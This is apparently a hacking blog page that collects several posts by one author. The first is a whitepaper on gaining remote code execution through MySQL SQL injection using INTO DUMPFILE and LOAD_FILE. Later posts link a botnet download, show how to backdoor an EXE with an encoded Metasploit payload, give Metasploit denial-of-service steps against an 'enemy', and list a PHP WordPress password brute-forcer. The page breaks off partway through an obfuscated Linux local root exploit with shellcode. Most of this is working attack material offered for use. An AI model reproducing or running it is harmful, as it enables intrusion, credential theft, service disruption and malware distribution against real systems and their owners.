Advance Mysql Exploitation

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZvxY5ugcP2-33LYVVaTgHWigLwqlHBrJHv4Vsh2BsMPmj2HkwCmloQQYEdSIPRJCAAFRpuzLzQaI20B5CiWEvwGJ9A3E3f2BDQcZf-_PMUBGFtYPg98vs6fNNmzd43GKAJNM-Z-44Z002/s1600/mysql+compromised.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZvxY5ugcP2-33LYVVaTgHWigLwqlHBrJHv4Vsh2BsMPmj2HkwCmloQQYEdSIPRJCAAFRpuzLzQaI20B5CiWEvwGJ9A3E3f2BDQcZf-_PMUBGFtYPg98vs6fNNmzd43GKAJNM-Z-44Z002/s320/mysql+compromised.jpg" width="320" /></a></div><br />Advance Mysql Exploitation<br /><br />1Abstract...................................................................3<br />2 Introduction .............................................................3<br />3 Stacked Query.............................................................3<br />4 Attacking MySQL on applications that do support stacked queries...........4<br />5 Attacking MySQL on applications that do not support stacked queries.......5<br />6 Fingerprinting the web server directory...................................7<br />6.1 Fingerprint through error message method................................7<br />6.2 Fingerprint through LOAD_FILE method....................................7<br />7 Maximum size of arbitrary code allowed....................................7<br />8 Arbitrary file compression/decompression .................................8<br /><a name="more"></a><br />9 Dealing with columns......................................................8<br />10 Remote code execution on LAMP............................................9<br />11 Remote code execution on WAMP............................................10<br />References .................................................................11<br /><br /><br />3<br />1 Abstract<br />This document discusses in detail how SQL Injection vulnerabilities can be used to<br />conduct remote code execution on the LAMP (Linux, Apache, MySQL and PHP) [1] or<br />WAMP (Windows, Apache, MySQL and PHP) environments [2]. Attackers performing<br />SQL injection on a MySQL platform must deal with several limitations and constraints.<br />For example, the lack of multiple statements in one query makes MySQL an unpopular<br />platform for remote code execution, compared to other platforms. A lot of research has<br />been performed in the last few years, concentrating on arbitrary code execution by<br />attacking SQL Injection vulnerabilities. However, these types of attacks concentrate on the<br />DBMS connectors that support stacked queries [3]. This document will explain how<br />different methods can be used to achieve the same result on a DBMS connector that does<br />not support stacked queries.<br /><br /><br />2 Introduction<br />SQL injection is an attack where malicious code is injected into the SQL statement. SQL<br />Injection attack allows a malicious user to retrieve the structure of the database and<br />uncover information regarding the application’s operating environment.<br />It has been proven that arbitrary code execution is the highest risk level a malicious user<br />can achieve when conducting SQL injection attack.<br />MySQL is a popular database server and acts as the database component of the LAMP<br />(Linux, Apache, MySQL and PHP) and WAMP (Windows, Apache, MySQL and PHP)<br />software stacks. DBMS connectors for this technology do not support stacked queries by<br />default. This makes the same technique used to conduct remote code execution on<br />platforms that support stacked queries, cannot be applied on this platform.<br />3 Stacked Query<br />Stacked query is a term to define if a database connection layer can execute more than one<br />query at a time. Each query is separated by semicolon.<br />The following example is an example of stacked queries in an SQL Injection attack:<br />SELECT name FROM record WHERE id = 1; DROP table record; DROP table<br />address--<br /><br /><br /><br />4<br />In the example above, there are three separate queries requested at one time. The first<br />query is the actual query from the application. These queries are allowed when called<br />within the database server. However, when this stacked query is called within the MySQLPHP<br />application by default, an error message will be replayed back by the application and<br />none of the queries will be executed.<br /><br /><br />4 Attacking MySQL on applications that do support stacked queries<br />It has been discovered that the MySQL UDF (User Define Function) library [4] creation<br />technique, can be used to conduct remote code execution on applications which support<br />stacked queries. This has been clearly explained by David Litchfield in The Database<br />Hacker’s Handbook [5].<br />At Blackhat Europe 2009, Bernando Damele explained the similar technique in detail. The<br />steps below are taken from Bernando Damele’s whitepaper [6].<br />1) Create a support table with one field, data-type longblob.<br />2) Encode the local file content to its corresponding hexadecimal string.<br />3) Split the hexadecimal encoded string into chunks long 1024 characters each<br />4) INSERT [7] the first chunk into the support table's field.<br />5) UPDATE [8] the support table's field by appending to the entry the chunks from the<br />second to the last.<br /><br /><br />6) Export the hexadecimal encoded file content from the support table's entry to the<br />destination file path by using SELECT's INTO DUMPFILE [9] clause. This is<br />possible because on MySQL, a query like SELECT 0x41 returns the corresponding<br />ASCII character A.<br />Here are some requirements to perform this action:<br />1) DBMS connector must support stacked queries.<br />2) Session user is required to have FILE [10], INSERT, CREATE [11] and UPDATE<br />privileges.<br />3) On some MySQL versions below 5.1.19, shared library [12] path must be writable<br />by a session user. Prior knowledge of this directory is also required.<br />4) On some MySQL versions 5.1.19 and above, system variable plugin_dir [13] must<br />exist and be writable by a session user. Prior knowledge of this directory is also<br />required.<br />It has been known that there are some limitations to this technique. By default, MySQL<br />Linux runs as a mysql user and the shared library path is not writable by this user.<br /><br /><br />5<br />However, this behavior is not applied to MySQL on Windows. MySQL on Windows runs<br />as a Local System user and by default, file created by this user can be overwritten onto any<br />folder. For the recent versions of MySQL, the directory belonging to system variable<br />plugin_dir does not exist. This directory is required to be created first and writable by a<br />session user.<br /><br /><br />5 Attacking MySQL on applications that do not support<br />stacked queries<br />Due to the unsupported stacked queries on MySQL-PHP platform, execution of another<br />statement after the actual statement is not possible. However, execution of another<br />SELECT statement is possible using UNION syntax [14]. UNION syntax is used to<br />combine the result from multiple SELECT statements into a single result set.<br />The statement below taken from MySQL 5.1 Refence Manual:<br />SELECT<br />[ALL | DISTINCT | DISTINCTROW ]<br />[HIGH_PRIORITY]<br />[STRAIGHT_JOIN]<br />[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]<br />[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]<br />select_expr [, select_expr ...]<br />[FROM table_references<br />[WHERE where_condition]<br />[GROUP BY {col_name | expr | position}<br />[ASC | DESC], ... [WITH ROLLUP]]<br />[HAVING where_condition]<br />[ORDER BY {col_name | expr | position}<br />[ASC | DESC], ...]<br />[LIMIT {[offset,] row_count | row_count OFFSET offset}]<br />[PROCEDURE procedure_name(argument_list)]<br /><br /><br />6<br />[INTO OUTFILE 'file_name' export_options<br />| INTO DUMPFILE 'file_name'<br />| INTO var_name [, var_name]]<br />[FOR UPDATE | LOCK IN SHARE MODE]]<br />It was discovered that only SELECT INTO DUMPFILE can be used to write arbitrary<br />binary files onto the database server using UNION SELECT. When injecting this<br />statement, only one statement can be used to create the whole file. Also, this file cannot be<br />overwritten by calling another SELECT INTO DUMPFILE statement to write into the<br />same file.<br />The statement below taken from MySQL 5.1 Reference Manual:<br />Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However,<br />the entire UNION result is written to the file.)<br />Due to the nature of the UNION statement, results retrieved from the first query will be the<br />first set of data to write into our arbitrary file.<br />For example:<br />SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO<br />DUMPFILE ‘file’<br />If the first query returns any data, this data will overwrite the file header. To prevent this,<br />we can inject any non existing value in the WHERE clause so no data would be extracted<br />from the first query. This is to ensure that only our chosen data is written into the file. The<br />file is also required to be located in a directory where we can execute it. In the case of a<br />DBMS connector that does not support stacked queries, the best directory to upload this<br />file onto an Apache web server directory. However, this is only possible in an environment<br />where the MySQL database and Apache web server are on the same machine. By<br />uploading onto the Apache web server directory, a PHP script can be used to execute the<br />file using the SYSTEM function [15]. Here are some requirements to perform this action:<br />1) Prior knowledge of the Apache web server directory.<br />2) Session user is required to have FILE privilege.<br />3) Session user is required to have access to write onto the web server directory.<br /><br /><br /><br />7<br />6 Fingerprinting the web server directory<br />In some cases where the web server root directory is not located in the default folder during<br />the installation process, fingerprinting can be used to achieve this information. There are<br />two methods that can be used to fingerprint the web server directory. It can be<br />fingerprinted by forcing the application to return an error message or by loading the default<br />location of the Apache configuration file.<br /><br /><br />6.1 Fingerprint through error message method<br />By default, custom error message is turned off by PHP. There are many ways to force the<br />application to return an error message that contains internal information including the web<br />server directory. For example, this error message can be generated by injecting a single<br />quote as part of the SQL data. Here is an example of the error message returned by the<br />PHP application when a single quote is injected, as part of the SQL data.<br />Fatal error: Call to a member function execute() on a non-object in /var/www/output.php<br />on line 15<br /><br /><br />6.2 Fingerprint through LOAD_FILE method<br />LOAD_FILE [16] can be used to read a file on the database server. To use this function,<br />FILE privilege is required by the session user. The file must also be readable by all and its<br />size must be less than max_allowed_packet bytes value in the Apache configuration file. A<br />default apache configuration file meets this requirement. The DocumentRoot directive [17]<br />in this file contains the path of the Apache web server root directory and can be used to<br />disclose this information.<br />Here is an example of the query to load an Apache configuration file on Apache version<br />2.2, in a default installation of Ubuntu Linux.<br />SELECT LOAD_FILE('/etc/apache2/sites-available/default')<br />7 Maximum size of arbitrary code allowed<br />The LimitRequestLine directive [17] in the Apache configuration file allows the web<br />server to reduce the size of an HTTP request . This includes all information passed in the<br />query as part of the GET request. The default value for this directive is 8190 bytes. If the<br />SQL Injection is discovered on the GET request and our query including the arbitrary code<br />8<br />is larger than this value, Apache web server would response with the HTTP Status Code<br />414 and the request would not be processed.<br />By default, the Apache web server sets the LimitRequestBody directive to 2GB [17]. This<br />is the allowed size of an HTTP request message body. If the SQL Injection is discovered in<br />a POST request, 2GB will give us enough room to upload our arbitrary code.<br />Web application firewalls also have the ability to terminate a long request. This long<br />request is normally detected as a buffer overflow attack.<br />8 Arbitrary file compression/decompression<br />PHP contains a module called Zlib [18] that can be used to read and write gzip compressed<br />files. This module can be abused to compress the arbitrary file into a smaller file using the<br />gzcompress function [19]. The Zlib module is able to compress our file from 9635 bytes to<br />only 630 bytes. When the compressed file is successfully uploaded on the web server,<br />gzuncompress function [20] can be used to decompress the file. However, this is only<br />possible in an environment where the MySQL database and Apache web server are on the<br />same machine.<br />9 Dealing with columns<br />A UNION clause will combine the result from multiple SELECT statements into a single<br />result set. The two queries must have the same number of columns. Due to this reason,<br />some unnecessary data will be added to our data which could potentially corrupt our file.<br />For example:<br />SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL,<br />0x8A789C....... INTO DUMPFILE ‘file’<br />The result from the first query will be added into our compressed file. As mentioned in the<br />section 5, we can inject any non existing value into the WHERE clause so there would be<br />no data extracted from the first query. However, due to the extra columns required in this<br />statement, any bad character data added into the first two columns also could potentially<br />corrupt our file. To prevent our file header from being overwritten by any bad character<br />data, we can add our data in the first column and inject any random data into the other<br />columns as seen in the following example.<br />9<br />SELECT name, add, content FROM data WHERE id=4444 UNION SELECT<br />0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’<br />The first column in the example above is filled with our compressed arbitrary data. When<br />Zlib library is used, the Adler32 checksum [21] will be found at the end of the compressed<br />data in the first column . As mentioned in the RFC 1950 [22] , any data which may appear<br />after the Adler32 checksum is not part of the Zlib stream. We can abuse this functionality<br />by injecting any value into the other columns. This may help the compressed arbitrary file<br />to be decompressed without having any issues.<br />Another method is to ensure that all the arbitrary data is filled in sequence into all columns<br />in the second query. It would not be an issue if one of the columns contains more data than<br />the other columns as seen in the following example.<br />SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A,<br />0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’<br />10 Remote code execution on LAMP<br />Remote code execution on LAMP contains several limitations and constraints. By default,<br />MySQL runs as a mysql user. Arbitrary files created through SELECT INTO DUMPFILE<br />can only be uploaded onto the directory where the mysql user is allowed to write onto. By<br />default, the uploaded file is not executable but readable. This file also is owned by mysql<br />user. A PHP script can be used to read the file and write the same file content to a new file.<br />This new file created is owned by the www-data user and the same PHP script can be used<br />to change the permission of this file to be executable using the PHP SYSTEM function. To<br />perform this action, this file needs to be uploaded onto the web server directory that is<br />writable by mysql and www-data users. By default, any directory created by other users are<br />not writable by these users. In some cases, these directories are set to be writable. An<br />example of this can be found in an application where a user is allowed to upload content<br />onto the web server directories, through the file upload feature.<br />If the writable directories can be discovered on the web server and the file is successfully<br />uploaded, PHP script can be used to execute the malicious file using the PHP SYSTEM<br />function.<br /><br /><br />10<br />11 Remote code execution on WAMP<br />Remote code execution on WAMP contains less limitations and constraints in order to<br />function. By default, MySQL runs as a Local System user and files created through<br />SELECT INTO DUMPFILE can be uploaded onto any of the web server directories. By<br />default, this file is executable. Just like on the LAMP platform, PHP script can be used to<br />execute the malicious file using the PHP SYSTEM function.<br /><br /><br />Regards,<br />Hardeep Singh<br />(<a href="http://www.facebook.com/h4rdeep">www.facebook.com/h4rdeep</a>)</div>

Advance Mysql Exploitation

Advance Mysql Exploitation 1Abstract...................................................................3 2 Introduction .......................

Read more »

Hybrid Botnet System v.1.0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwmX9DklvPmHD4jDBlLWmlKTC2eEw_ikhHI0N8U4ZCczjECuxZylqAEQrz5HdOChBAjABQzp7DAdZSJ2sxVz_8Ije2pWdEu7hqlz_zwhfTmFxsMeQIi2d3eqGYKFPmIva13JRhF8iVPpFH/s1600/3110990762_e5fce1c74c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="261" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwmX9DklvPmHD4jDBlLWmlKTC2eEw_ikhHI0N8U4ZCczjECuxZylqAEQrz5HdOChBAjABQzp7DAdZSJ2sxVz_8Ije2pWdEu7hqlz_zwhfTmFxsMeQIi2d3eqGYKFPmIva13JRhF8iVPpFH/s320/3110990762_e5fce1c74c.jpg" width="320" /></a></div><br /><br />The Hybrid Botnet System contains a perl bot and web administration panel. It uses only one perl module and can easily be compiled to run on a Linux host<br /><br />1. Sleep<br />2. TCP Storm<br />3. SYN Storm<br />4. UDP Storm<br />5. Delete bot from remote machine<br />6. Reverse Shell<br />7. E.R.T.E<br />8. FTP Crack<br />9. Download & Execute<br />Get-> <a href="http://www.mediafire.com/?xdy2qi55y3aanuc">http://www.mediafire.com/?xdy2qi55y3aanuc</a><br /><br /><span class="Apple-style-span" style="color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br /></span><br /></div>

Hybrid Botnet System v.1.0

The Hybrid Botnet System contains a perl bot and web administration panel. It uses only one perl module and can easily be compiled to run on...

Read more »

Backdooring with EXEs

<div dir="ltr" style="text-align: left;" trbidi="on">Backdooring with EXEs<br /><br /><br />In this tutorial we'll learn how to insert our own (malicious) code, in this case a Metasploit payload into an existing .EXE file. When an unsuspecting victim runs the file, the original executable will run as normal, but our hidden payload will also deploy. Sneaky.<br /><br />To avoid feeding the skiddies, I forbid you from reading this if you have no interest whatsoever in how it works. If you can appreciate how it works, do read on .<br /><a name="more"></a><br /><br />We begin by selecting our .EXE. It can be any executable, but I should note here that these instructions are, unusually for me, Windows-specific. You can still backdoor the EXE on any system, but it can only be run on Windows.<br /><br />I'll be backdooring the file foo.exe<br /><br />The Metasploit commands we're interested in are <span style="color: #9fc5e8;">msfpayload</span> and <span style="color: #9fc5e8;">msfencode</span>.<br /><br /><span style="color: blue;">msfpayload</span><br />Usage:<br /><blockquote> /usr/local/bin/msfpayload <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar></blockquote><br />Where <payload> is any of the 200 or so Metasploit payloads<br /><br /><span style="color: blue;">msfencode</span><br />Usage: <br /><blockquote>msfencode <options> OPTIONS: -a <opt> </blockquote>The architecture to encode as -b <opt> The list of characters to avoid: '\x00\xff' -c <opt> The number of times to encode the data -d <opt> Specify the directory in which to look for EXE templates -e <opt> The encoder to use -h Help banner -i <opt> Encode the contents of the supplied file path -k Keep template working; run payload in new thread (use with -x) -l List available encoders -m <opt> Specifies an additional module search path -n Dump encoder information -o <opt> The output file -p <opt> The platform to encode for -s <opt> The maximum size of the encoded data -t <opt> The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war -v Increase verbosity -x <opt> Specify an alternate executable template<br /><br />The msfpayload function simply grabs the binary data of the payload so we can embed it in our exploit. To do this, we use the format;<br /><blockquote>msfpayload <payload> R <options></blockquote><br />Where R stands for raw, ie. the raw data of the binary<br /><br />Select your payload, it can be anything you like. I'll be usingwindows/meterpreter/bind_tcp<br />You can get a list of all installed payloads by simply running msfpayload -h<br /><br />Our command thus far is;<br /><blockquote>msfpayload windows/meterpreter/bind_tcp R</blockquote>But we need to set some options for this payload, so we do;<br /><blockquote>msfpayload windows/meterpreter/bind_tcp LPORT=4444 R</blockquote>Try running that and see what you get. It should look like garbage, but this is the raw binary of the payload. We need a way to encode this into our EXE.<br /><br />To do this, we use the pipe operator | to 'pipe' the data to another function, the msfencodefunction.<br /><br /><blockquote>msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencode</blockquote>But the msfencode function needs some options to tell it what to do. The one's we're going to use are;<br />-t - The format to output (we'll use exe)<br />-x - The template executable<br />-k - The -k flag allows the original executable to remain<br />-o - The output file<br />-e - The encoder to use when encoding the payload into the executable<br />-c - The number of times to encode the payload<br /><br />A lot right? Follow carefully as we assemble to command<br />We'll output in executable format, so we set the -t flag to exe.<br />Set the -x flag to be your executable to duplicate and hide the payload inside<br />Set the -k flag so that the original executable still runs.<br />Set the -o flag to whatever you want the new executable to be called.<br />The -e flag specifies the encoder to use to encode (hide) the data. Metasploit comes with many installed, of which the best is x86/shikata_ga_nai . It makes it extremely unlikely that the payload will be detected. (To view a list of encoders, run show encoders within Metasploit)<br />Set the -c flag to a number depending on how well you want the payload hidden. I recommend around 5.<br /><br />Done? The final command should look something like this;<br /><blockquote>msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencode -t exe -x foo.exe -k -o foo_backdoor.exe -e x86/shikata_ga_nai -c 5</blockquote>Run this command from a command line and wait till it completes. <br /><br />Voila! One backdoored executable! You can play around with different payloads and settings to see what works.<br /><br />Regards,<br />Hardeep Singh<br />(www.fb.com/h4rdeep)</div>

Backdooring with EXEs

Backdooring with EXEs In this tutorial we'll learn how to insert our own (malicious) code, in this case a Metasploit payload into an exi...

Read more »

DoS PDA windows

<div dir="ltr" style="text-align: left;" trbidi="on">DoS PDA windows<br /><blockquote style="border-left: #ddd 1px solid; margin: 0px 0px 0px 5px; padding-left: 7px;"><br /><br />Hello Friend ,<br />Yesterday I found some Denial of Service Exploit, one of which is about the weakness in the operating system SVR.SYS windows drivers.<br />This is the version of windows that can be affected:<br />Microsoft Windows XP Tablet PC Edition SP1<br />Microsoft Windows XP Tablet PC Edition<br />Microsoft Windows XP Professional x64 Edition<br />Microsoft Windows XP Profesional SP2<br />Microsoft Windows XP Professional SP1<br />Microsoft Windows XP Professional<br />Microsoft Windows XP Media Center Edition SP2<br />Microsoft Windows XP Media Center Edition SP1<br />Microsoft Windows XP Media Center Edition<br />Microsoft Windows XP Home SP2<br />Microsoft Windows XP Home SP1<br />Microsoft Windows XP Home<br />Microsoft Windows XP Emas 0<br />Microsoft Windows XP Embedded SP1<br />Microsoft Windows XP Embedded<br />Microsoft Windows XP 64-bit Edition Versi 2003 SP1<br />Microsoft Windows XP 64-bit Edition 2003 Versi<br />Microsoft Windows XP 64-bit Edition SP1<br />Microsoft Windows XP 64-bit<br />Microsoft Windows XP 0<br />Microsoft Windows Server 2003 Web Edition SP1 Beta 1<br />Microsoft Windows Server 2003 Web Edition SP1<br />Microsoft Windows Server 2003 Web Edition<br />Microsoft Windows Server 2003 Standard x64 Edition<br />Microsoft Windows Server 2003 Standard Edition SP1 Beta 1<br />Microsoft Windows Server 2003 Standard Edition SP1<br />Microsoft Windows Server 2003 Standard Edition<br />Microsoft Windows Server 2003 Enterprise x64 Edition<br />Microsoft Windows Server 2003 Enterprise Edition SP1 Beta 1 Itanium<br />Microsoft Windows Server 2003 Enterprise Edition SP1 Itanium<br />Microsoft Windows Server 2003 Enterprise Edition Itanium 0<br />Microsoft Windows Server 2003 Enterprise Edition SP1 Beta 1<br />Microsoft Windows Server 2003 Enterprise Edition SP1<br />Microsoft Windows Server 2003 Enterprise Edition<br />Microsoft Windows Server 2003 Datacenter x64 Edition<br />Microsoft Windows Server 2003 Datacenter Edition SP1 Beta 1 Itanium<br />Microsoft Windows Server 2003 Datacenter Edition SP1 Itanium<br />Microsoft Windows Server 2003 Datacenter Edition Itanium 0<br />Microsoft Windows Server 2003 Datacenter Edition SP1 Beta 1<br />Microsoft Windows Server 2003 Datacenter Edition SP1<br />Microsoft Windows Server 2003 Datacenter Edition<br />Microsoft Windows 2000 Server SP4<br />Microsoft Windows 2000 SP4 Professional<br />Microsoft Windows 2000 Datacenter Server SP4<br />Microsoft Windows 2000 Advanced Server SP4<br /><br />How to do it :-<br />You need to have nmap and Metasploit ( i used it on BT4 )<br />First Scan the server ip with nmap , on Terminal Type<br /><blockquote>nmap -sS -O [ip addess] (to check if port 445 TCP is Open) </blockquote>then ,<br /><blockquote>msfconsole</blockquote>then ,<br /><blockquote>use dos/windows/smb/ms_06_063_trans<br />set LPORT 445<br />set RHOST [ip address]</blockquote>run<br /><br />And Shot down your enemy using above Windows OS ;)<br /><br /><br />Regards,<br />Hardeep Singh<br />(www.fb.com/h4rdeep)</blockquote></div>

DoS PDA windows

DoS PDA windows Hello Friend , Yesterday I found some Denial of Service Exploit, one of which is about the weakness in the operating system ...

Read more »

Wordpress Wp-admin Bruteforce

<div dir="ltr" style="text-align: left;" trbidi="on"><blockquote style="border-left: #ddd 1px solid; margin: 0px 0px 0px 5px; padding-left: 7px;">Wordpress Wp-admin Bruteforce</blockquote><br /><blockquote style="border-left: #ddd 1px solid; margin: 0px 0px 0px 5px; padding-left: 7px;"><br /><blockquote><?php <br />class wp<br />{<br />public $site; <br />public $password; <br />public $wordlist; <br />public $siteler; <br />public $regex = 'general.php'; <br />public function wordlist() { <br />$liste = file_get_contents("http://afrikanhosting.com/images/wp.txt"); <br />$this->wordlist = explode("\n",$liste); <br />return $this->wordlist; <br />} <br />public function curl($site,$password)<br />{<br />$curl = curl_init(); <br />curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); <br />curl_setopt($curl,CURLOPT_URL,$site."/wp-login.php"); <br />curl_setopt($curl,CURLOPT_COOKIEJAR,"megaturks.dat"); <br />curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); <br />curl_setopt($curl,CURLOPT_POST,1); <br />curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=".$password."&redirect_to=".$site."/wp-admin/&testcookie=1"); <br />$calis = curl_exec($curl); <br />return $calis; <br />} <br />public function siteler($liste)<br />{ <br />$site = file_get_contents($liste); <br />$this->siteler = explode("\n",$site); return $this->siteler; <br />} <br />public function burtay($liste)<br />{ <br />$this->siteler($liste); <br />foreach($this->siteler as $sites)<br />{ <br />$site = trim($sites); <br />echo "Denenen Site : " . $site . "\n"; <br />foreach($this->wordlist() as $sifre) <br />{ <br />$password = trim($sifre); <br />echo "Denenen Sifre " . $password . "\n"; <br />if ( eregi ($this->regex,$this->curl($site,$password)) )<br />{<br />echo "-------------------------------------\n"; <br />echo $site . " icin sifre kirildi sifre : " . $password . "\n" ; <br />echo "xxx\n"; <br />echo "xxx\n"; <br />echo "-------------------------------------\n"; <br />break; <br />}<br />}<br />}<br />}<br />}<br />echo " ------------------ xxxxx || xxx || ------------------ \n\n "; <br />$class = new wp(); $class->burtay($argv[1]); <br />?></blockquote><br /><br />Regards,<br />Hardeep Singh<br />(www.fb.com/h4rdeep)</blockquote></div>

Wordpress Wp-admin Bruteforce

Wordpress Wp-admin Bruteforce <?php class wp { public $site; public $password; public $wordlist; public $siteler; public $regex = 'ge...

Read more »

kernel-2.6.18-164 2010 Local Root Exploit

<div dir="ltr" style="text-align: left;" trbidi="on">Kernel-2.6.18-164 2010 Local Root Exploit<br />Save this code as a c program file.<br />Code:<br /><blockquote>/*<br />kernel-2.6.18-164 2010 Local Root Exploit<br />=========================================<br /># Author: Hackeri-AL<br /># Email : h-al [at] hotmail [dot] it<br /># Group : UAH / United ALBANIA Hackers<br /># Web   : uah1.org.uk<br /># Greetz: LoocK3D - b4cKd00r ~<br />--------------------------------------------<br />Diagnostic test for CVE-2010-3081 public exploit<br />Greg Price, Ksplice, Inc.<br />Tests whether the system has previously been exposed to the exploit<br />published as &quot;hackerial.c&quot; by Hackeri-AL on 2010 Sep 15.  Based on the<br />original exploit code.<br />For more information, see<br />  <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a><br />  <br />  Source: <a href="http://inj3ct0r.com/exploits/14333">http://inj3ct0r.com/exploits/14333</a><br />*/<br />#include &lt;poll.h&gt;<br />#include &lt;string.h&gt;<br />#include &lt;unistd.h&gt;<br />#include &lt;sys/types.h&gt;<br />#include &lt;stdlib.h&gt;<br />#include &lt;sys/wait.h&gt;<br />#include &lt;sys/utsname.h&gt;<br />#include &lt;sys/socket.h&gt;<br />#include &lt;sched.h&gt;<br />#include &lt;netinet/in.h&gt;<br />#include &lt;stdio.h&gt;<br />#include &lt;sys/stat.h&gt;<br />#include &lt;fcntl.h&gt;<br />#include &lt;sys/mman.h&gt;<br />#include &lt;sys/ipc.h&gt; <br />#include &lt;sys/msg.h&gt;<br />#include &lt;sys/resource.h&gt;<br />#include &lt;errno.h&gt;<br /><br />#define _GNU_SOURCE<br />#define __dgdhdytrg55 unsigned int<br />#define __yyrhdgdtfs66ytgetrfd unsigned long long<br />#define __dhdyetgdfstreg__ memcpy<br />#define BANNER &quot;Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.<br />&quot; <br />               &quot;(see <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>)<br />&quot; <br />               &quot;<br />&quot;<br />#define KALLSYMS              &quot;/proc/kallsyms&quot;<br />#define TMAGIC_66TDFDRTS      &quot;/proc/timer_list&quot;<br />#define SELINUX_PATH          &quot;/selinux/enforce&quot;<br />#define RW_FOPS               &quot;timer_list_fops&quot;<br />#define PER_C_DHHDYDGTREM7765 &quot;per_cpu__current_task&quot;<br />#define PREPARE_GGDTSGFSRFSD  &quot;prepare_creds&quot;<br />#define OVERRIDE_GGDTSGFSRFSD &quot;override_creds&quot;<br />#define REVERT_DHDGTRRTEFDTD  &quot;revert_creds&quot;<br />#define Y0Y0SMAP              0x100000UL<br />#define Y0Y0CMAP              0x200000UL<br />#define Y0Y0STOP              (Y0Y0SMAP+0xFFC)<br />#define J0J0S                 0x00200000UL<br />#define J0J0R00T              0x002000F0UL<br />#define PAGE_SIZE             0x1000<br />#define KERN_DHHDYTMLADSFPYT     0x1<br />#define KERN_DGGDYDTEGGETFDRLAK  0x2<br />#define KERN_HHSYPPLORQTWGFD     0x4 <br /><br />#define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8<br />#define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10<br />#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20<br />#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40<br />#define isRHHGDPPLADSF(ver) (strstr(ver, &quot;.el4&quot;) || strstr(ver,&quot;.el5&quot;))<br />#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)<br />#define __pppp_tegddewyfg(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0)<br />/* #define __print_verbose(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0) */<br />#define __print_verbose(s) do { } while (0)<br />#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)<br />#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)<br />static char buffer[1024];<br />static int s;<br />static int flags=0;<br />volatile static socklen_t magiclen=0;<br />static int useidt=1, usefops=0, uselsm=0;<br />static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};<br />static __dgdhdytrg55 _m_cpu_off=0;<br />static char krelease[64];<br />static char kversion[128];<br />#define R0C_0FF 14<br />static char ttrg0ccc[]=<br />&quot;x51x57x53x56x48x31xc9x48x89xf8x48x31xf6xbex41x41x41x41&quot;  <br />&quot;x3bx30x75x1fx3bx70x04x75x1ax3bx70x08x75x15x3bx70x0c&quot;   <br />&quot;x75x10x48x31xdbx89x18x89x58x04x89x58x08x89x58x0cxebx11&quot;     <br />&quot;x48xffxc0x48xffxc1x48x81xf9x4cx04x00x00x74x02&quot;                   <br />&quot;xebxccx5ex5bx5fx59xc3&quot;;               <br /><br />#define R0YTTTTUHLFSTT_OFF1 5<br />#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21<br />#define R0TDGFSRSLLSJ_SHSYSTGD 45<br />char r1ngrrrrrrr[]=<br />&quot;x53x52x57x48xbbx41x41x41x41x41x41x41x41xffxd3&quot;                                 <br />&quot;x50x48x89xc7x48xbbx42x42x42x42x42x42x42x42&quot;  <br />&quot;xffxd3x48x31xd2x89x50x04x89x50x14x48x89xc7&quot;                              <br />&quot;x48xbbx43x43x43x43x43x43x43x43&quot;   <br />&quot;xffxd3x5fx5fx5ax5bxc3&quot;;                                       <br /><br />#define RJMPDDTGR_OFF 13<br />#define RJMPDDTGR_DHDYTGSCAVSF 7<br />#define RJMPDDTGR_GDTDGTSFRDFT 25<br />static char ttrfd0[]=<br />&quot;x57x50x65x48x8bx3cx25x00x00x00x00&quot;<br />&quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                      <br />&quot;x58x5f&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br />&quot;x90x90x90x90x90x90x90x90x90x90&quot;<br 